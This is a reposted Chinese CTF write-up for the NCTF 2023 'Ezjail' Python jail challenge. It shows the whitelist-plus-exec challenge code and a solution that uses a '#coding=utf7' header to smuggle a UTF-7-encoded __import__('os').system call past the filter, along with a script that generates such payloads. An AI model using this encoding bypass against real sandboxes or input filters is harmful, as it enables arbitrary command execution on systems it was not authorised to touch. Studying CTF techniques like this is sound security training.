【靶场合集】CTF-NCTF 2023:Ezjail

admin 2024年1月3日00:09:11评论34 views字数 1072阅读3分34秒阅读模式
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

0X01 题目
input_code = input("Please input code > ")whitelist = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#rn')for c in input_code:    if c not in whitelist:        print("hacker!")        exit(0)bytearray_code = bytearray(input_code.encode())exec(bytearray_code, {}, {})
Hint 1: exec有时可以执行一些奇奇怪怪的东西 可能有些#开头的东西是关键
Hint 2: whitelist的字符集是一种很有用的提示

Hint 3:另外也请注意exec前面的那一行代码
0X02 解题思路
题目只允许大小写数字及+=#rn,看见提示想到了python的头部信息,使用#coding=对字符进行编码,可以使用utf-7进行绕过。
exec(b'#coding=utf7r+AF8AXwBpAG0AcABvAHIAdABfAF8AKAAnAG8AcwAnACkALgBzAHkAcwB0AGUAbQAoACcAbABzACcAKQ')
【靶场合集】CTF-NCTF 2023:Ezjail
Utf-7可以使用base64.b64encode(str01.encode('utf-16-be')).replace(b'=', b'')来实现

import base64

str01 = "__import__('os').system('dir')"input_code = (b'#coding=utf7r+' + base64.b64encode(str01.encode('utf-16-be')).replace(b'=', b'')).decode('utf-8')whitelist = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#rn')for c in input_code:    if c not in whitelist:        print("hacker!")        exit(0)bytearray_code = bytearray(input_code.encode())exec(bytearray_code, {}, {})
【靶场合集】CTF-NCTF 2023:Ezjail

原文始发于微信公众号(皓月的笔记本):【靶场合集】CTF-NCTF 2023:Ezjail

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日00:09:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【靶场合集】CTF-NCTF 2023:Ezjailhttp://cn-sec.com/archives/2357845.html

发表评论

匿名网友 填写信息